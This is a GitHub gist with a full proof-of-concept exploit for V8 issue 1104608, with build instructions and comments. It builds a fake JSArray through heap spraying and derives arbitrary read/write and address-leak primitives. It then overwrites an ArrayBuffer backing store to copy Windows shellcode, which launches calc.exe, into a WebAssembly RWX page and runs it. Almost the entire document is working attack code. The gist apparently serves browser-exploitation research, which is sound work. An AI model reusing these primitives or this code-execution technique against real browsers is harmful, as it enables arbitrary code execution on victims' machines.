Skip to content

Instantly share code, notes, and snippets.

@mistymntncop
Last active November 24, 2023 07:51
Show Gist options
  • Save mistymntncop/e417e48b660e39e0ab74cbfe43319304 to your computer and use it in GitHub Desktop.
Save mistymntncop/e417e48b660e39e0ab74cbfe43319304 to your computer and use it in GitHub Desktop.
// POC Exploit for v8 issue 1104608 (https://bugs.chromium.org/p/chromium/issues/detail?id=1104608)
// author: @mistymntncop
// bug discovered by: @r3tr0spect2019
// Exploit strategy based on @r3tr0spect2019's "Real World CTF" presentation on the bug.
// https://www.youtube.com/watch?v=rSaIlBWwxsY
//
// Build d8 using:
// a) Run once
// git checkout 3505cf00eb4c59b87f4b5ec9fc702f7935fdffd0
// gclient sync --with_branch_heads
// gclient sync -f --with_branch_heads //pass -f flag to force
//
// b)
// Debug Build:
// ninja -C ./out/x64.debug d8
//
// Release Build:
// ninja -C ./out/x64.release d8
//
// Run using (USE RELEASE BUILD):
// /path/to/v8/out/x64.release/d8 --allow-natives-syntax exploit-1104608.js
//These 2 functions cause the garbage collector to be triggered
//This is useful for freeing objects and also moving
//objects from the NewSpace to the OldSpace
//The --trace-gc flag can be used to view GC events.
function gc_minor() { //scavenge
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
//https://tiszka.com/blog/CVE_2021_21225_exploit.html
//Trick #2: Triggering Major GC without spraying the heap
//Allows us to trigger GC without polluting the Newspace heap
function gc_major() { //mark-sweep
new ArrayBuffer(0x7fe00000);
}
function hex(n) {
return "0x" + n.toString(16);
}
function hex_addr(addr) {
return "0x" + addr[1].toString(16) + addr[0].toString(16);
}
//Convenience functions for converting "float to int" and "int to float".
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return [u32_buf[0], u32_buf[1]];
}
function itof(lo, hi) {
u32_buf[0] = lo;
u32_buf[1] = hi;
return f64_buf[0];
}
//Create a small integer value
function smi(val) {
return val << 1;
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
//From https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js
//Windows shellcode
var shellcode = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
];
//https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
// As observed by Man Yue Mo:
// "... So it looks like the map is allocated at a fixed offset that depends only on the version of v8 and whether it is
// launched from d8 or on Chrome ..."
//
// We will take advantage of this observation for the explout and use
// hardcoded address for the object maps instead of leaking addresses.
// Thanks to pointer compression we only need 32 bits for a valid address.
const FIXED_ARRAY_MAP = 0x080404b1;
const PACKED_ELEMENTS_MAP = 0x08241959;
const PACKED_DOUBLE_ELEMENTS_MAP = 0x08241909;
const HOLEY_DOUBLE_ELEMENTS_MAP = 0x08241931;
const JS_ARRAY_PROPERTIES = 0x080406e9;
// Same strategy applies for the large array address.
const LARGE_ADDR = 0x08400121;
const JS_ARRAY_HEADER_SIZE = 16;
const FIXED_ARRAY_HEADER_SIZE = 8;
const FAKE_JS_ARRAY_ADDR = LARGE_ADDR + FIXED_ARRAY_HEADER_SIZE;
const FAKE_JS_ARRAY_SIZE = 16;
const FAKE_JS_ARRAY_ELEMENTS_ADDR = FAKE_JS_ARRAY_ADDR + FAKE_JS_ARRAY_SIZE;
//To exploit this bug we will need to create a TypedArray JS object with in-object properties.
//
//In-object proprties are properties that are created inline after the JS object. This is useful for
//exploitation as we can influence the memory from where JS objects are allocated from.
//
//By creating a class that extends a typed-array it creates capacity for 10 in-object properties.
//Subsequent properties will be allocated using this in-object property storage.
////See https://v8.dev/blog/slack-tracking for more information.
class Arr extends Int8Array {};
//The array has to be large enough to allow for the vulnerable property key
//"4294967295" (0xFFFFFFFF) to be accessed legally. This is why the array is
//size 4294967296 (0x100000000).
//One side effect of allocating an array this large is that it causes a major GC event.
//For reasons unknown these 2 variables HAVE to be global???
var arr = new Arr(0x100000000);
var arr2 = null;
//Predefine the fake JSArray
var fake = null;
//Large array buffer which contains the fake array
//As observed by @btiszka's blog https://tiszka.com/blog/CVE_2021_21225_exploit.html
//"objects in Large Object space will remain in a static location"
//This means that our large array will not be moved by GC. This will
//allow us to create a stable fake object.
var large = new Array(0x10000);
large.fill(itof(0xDEADBEE0, 0)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
//Setup the memory of the fake JSArray inside the large array.
//We will use our fake_obj primitive to create a fake JSArray later.
large[0] = itof(PACKED_ELEMENTS_MAP, JS_ARRAY_PROPERTIES);
large[1] = itof(FAKE_JS_ARRAY_ELEMENTS_ADDR, smi(0));
//Not strictly needed for the exploit but needed so DebugPrint doesn't crash.
large[2] = itof(FIXED_ARRAY_MAP, smi(0));
//Each element is 8 bytes in size, there are 0x10000 elements, the large array is
//0x80000 bytes in size.
//8 * 0x10000 = 0x80000
//The large array allocation size is larger than Page::kMaxRegularHeapObjectSize
//0x80000 > Page::kMaxRegularHeapObjectSize
//0x80000 > (1 << 17)
//0x80000 > 0x20000
//8 * 0x200 = 0x1000 bytes
//Each element is 8 bytes in size and there is 0x200 elements.
//The resulting size of the array elements will be 0x1000 bytes.
//This extra calculation just accomodates for array metadata so the resulting
//allocation is exactly 0x1000 bytes (not strictly needed).
var base_block = new Array(0x200-((JS_ARRAY_HEADER_SIZE + FIXED_ARRAY_HEADER_SIZE)/8));
base_block.fill(itof(0xDEADBEE0, 0)); //Change array type to HOLEY_DOUBLE_ELEMENTS_MAP
function crap_fake_obj(addr) {
//We trigger GC to create a fresh NewSpace. This is desirable because
//a heap spray is needed to perform this fake_obj primitive and we don't
//want the NewSpace polluted with irrelevant objects.
gc_major();
const f64_val = itof(addr, addr);
let sprayed = new Array(0x100); //0x100
//Spray the address of the fake object on the NewSpace heap.
//Add the blocks to an array to prevent
//the blocks from being reclaimed from GC
for(let i = 0; i < sprayed.length; i++) {
let block = Array.from(base_block);
block.fill(f64_val);
sprayed[i] = block;
}
//%SystemBreak();
//Frees the sprayed blocks leaving the old NewSpace block memory
//available to be reclaimed.
//You may notice that the exploit still works even if you comment the
//"sprayed = null;" line. This is because the sprayed blocks get moved
//from the the NewSpace to the OldSpace.
//In both cases the old memory remains uncleared and
//still contains the value of the sprayed address.
sprayed = null;
gc_major();
//Trigger the bug by accessing the property key "4294967295" multiple times.
for(let i = 0; i < 0x40; i++) {
arr["4294967295"];
}
//If a number of instances of the Arr class are created and the in-order
//properties are not used then subsequent created Arr instances will be created
//with no in-object properties.
//See: https://v8.dev/blog/slack-tracking
//Uncomment "%DebugPrint(unused);" to see the "construction counter"
//decrease until it reaches zero.
for(let i = 0; i < 6; i++) {
let unused = new Arr(1);
//print("===============================================================");
//%DebugPrint(unused);
}
//Allocates a copy of the arr object (with no in-order properties)
//on in the NewSpace heap reclaiming the memory of an old block.
//The 1 element OOB (in-object) property read contains the address
//of the fake object. This allows us to create a fake_obj primitive.
//We don't need to the 0x100000000 size anymore so we take a 1 byte slice.
//This is useful as we want to %DebugPrint this object without incurring a delay.
arr2 = arr.slice(0,1);
//Read 1 element OOB of in-object properties for arr2
//e.g. arr2.inobject_properties[0]
let fake = arr2["4294967295"];
//%DebugPrint(fake);
//%SystemBreak();
return fake;
}
function addr_of(obj) {
large[0] = itof(PACKED_ELEMENTS_MAP, JS_ARRAY_PROPERTIES);
large[1] = itof(FAKE_JS_ARRAY_ELEMENTS_ADDR, smi(1));
fake[0] = obj;
let addr = ftoi(large[3])[0];
//prevents GC from crashing in some cases
large[1] = itof(0, smi(0));
return addr;
}
function read64(addr) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
large[0] = itof(PACKED_DOUBLE_ELEMENTS_MAP, JS_ARRAY_PROPERTIES);
large[1] = itof(addr, smi(1));
let result = ftoi(fake[0]);
large[1] = itof(0, smi(0));
return result;
}
function write32(addr, val) {
let original = read64(addr);
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
large[0] = itof(PACKED_DOUBLE_ELEMENTS_MAP, JS_ARRAY_PROPERTIES);
large[1] = itof(addr, smi(1));
fake[0] = itof(val, original[1]);
large[1] = itof(0, smi(0));
}
function write64(addr, lo, hi) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
large[0] = itof(PACKED_DOUBLE_ELEMENTS_MAP, JS_ARRAY_PROPERTIES);
large[1] = itof(addr, smi(1));
fake[0] = itof(lo, hi);
large[1] = itof(0, smi(0));
}
function copy_shellcode(rwx_page, shellcode) {
let buf = new ArrayBuffer(0x1000);
let dataview = new DataView(buf);
let buf_addr = addr_of(buf);
let ptr_to_backing_store_addr = buf_addr + 0x14;
write64(ptr_to_backing_store_addr, rwx_page[0], rwx_page[1]);
for(let i = 0; i < shellcode.length; i++) {
dataview.setUint8(i, shellcode[i]);
}
}
//We need to create the initial fake JSArray before the other primitives can be used.
fake = crap_fake_obj(FAKE_JS_ARRAY_ADDR);
print("Large Space Array:");
%DebugPrint(large);
print("Fake JSArray:");
%DebugPrint(fake);
print("Wasm Instance:");
%DebugPrint(wasm_instance);
//Read the address of the wasm instance and then read the
//value of the jump_table_start field to find the rwx page.
let wasm_instance_addr = addr_of(wasm_instance);
const kJumpTableStartOffset = 0x68;
let rwx_page = read64(wasm_instance_addr + kJumpTableStartOffset);
let wasm_instance_map_addr = read64(wasm_instance_addr)[0];
let wasm_instance_map = crap_fake_obj(wasm_instance_map_addr);
print("wasm_instance address: " + hex(wasm_instance_addr));
print("wasm jmp_start_address: " + hex_addr(rwx_page));
copy_shellcode(rwx_page, shellcode);
f();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment